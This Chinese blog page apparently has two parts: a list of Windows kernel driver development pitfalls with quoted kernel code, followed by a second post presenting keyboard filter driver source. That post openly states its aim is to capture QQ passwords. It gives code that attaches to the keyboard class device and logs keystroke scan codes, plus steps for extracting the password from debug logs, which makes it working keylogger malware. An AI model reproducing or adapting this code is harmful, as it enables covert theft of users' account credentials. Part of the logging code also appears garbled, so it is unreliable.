驱动开发坑总结

1. 用FILE_FLAG_OVERLAPPED打开设备时,ReadFile、WriteFile的OVERLAP参数不能为空,否则会异常,到不了驱动的派遣函数

2. 用IoGetDeviceObjectPointer得到FILE_OBJECT和DEVICE_OBJECT指针,用完后Deref文件对象就行了,设备对象千万别Deref,否则会损坏设备对象。他内部是ZwOpenFile再ObRefrenceObjectByHandle来得到FILE_OBJECT指针,再用它的成员得到DEVICE_OBJECT指针的,所以DEVICE_OBJECT不要deref

3. IoDriverObjectType,这个未公开的变量可以声明一下就用,但在vista以前是POBJECT_TYPE类型,后面变成了POBJECT_TYPE*类型。在ObRefrenceObjectByName等函数中要注意

4. 文件系统驱动或者过滤驱动,一定要实现FastIoDispatch,哪怕函数里面直接返回false也可以。楚狂人和wowocook的书里说不实现也可以,但自己试不实现的确会蓝屏,从wrk的代码里看,NtReadFile、NtWriteFile等确实会直接调用FastIoDispatch

    if (fileObject->PrivateCacheMap) {
            IO_STATUS_BLOCK localIoStatus;
            ASSERT(fastIoDispatch && fastIoDispatch->FastIoRead);
            //
            //  Negative file offsets are illegal.
            //
            if (fileOffset.HighPart < 0) {
                if (eventObject) {
                    ObDereferenceObject( eventObject );
                }
                IopReleaseFileObjectLock( fileObject );
                ObDereferenceObject( fileObject );
                return STATUS_INVALID_PARAMETER;
            }
            if (fastIoDispatch->FastIoRead( fileObject,
                                            &fileOffset,
                                            Length,
                                            TRUE,
                                            keyValue,
                                            Buffer,
                                            &localIoStatus,
                                            deviceObject )

5.  pIrp->MdlAddress) 引发的蓝屏

PUCHAR pBuf = NULL;
if(pDeviceObject->Flags & DO_BUFFERED_IO)
pBuf = (PUCHAR)(pIrp->AssociatedIrp.SystemBuffer);
else if((pDeviceObject->Flags & DO_DIRECT_IO) )
pBuf = (PUCHAR)(MmGetSystemAddressForMdlSafe(pIrp->MdlAddress,NormalPagePriority));

很普通的一段代码却蓝屏了,看蓝屏代码是0xd1,DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high.  This is usually
caused by drivers using improper addresses.If kernel debugger is available get stack backtrace.

后来才发现是pIrp->MdlAddress为空,MmGetSystemAddressForMdlSafe里的一行代码, 

mov     rcx, [rbx+8]    ; MemoryDescriptorList
test    byte ptr [rcx+0Ah], 5

这里rcx为0,变成违例了,难道用户传过来的buffer为空? 改了下代码

else if((pDeviceObject->Flags & DO_DIRECT_IO) && pIrp->MdlAddress)//pIrp->MdlAddress为空时,MmGetSystemAddressForMdlSafe会引发蓝屏

这样就ok了


6. IoFreeIrp这个函数在内部是会完成irp的,所以用IoBuildAsynchronousFsdRequest 等函数创建的irp,用完后直接free就行了,不要再去complete了


7. Ndis协议驱动,inf里面写的服务名和PROTOCOL_CHARACTERISTICS里的ProtocolName要匹配,否则注册协议能成功但不会被系统回调。(坑死寡人了。。)


http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值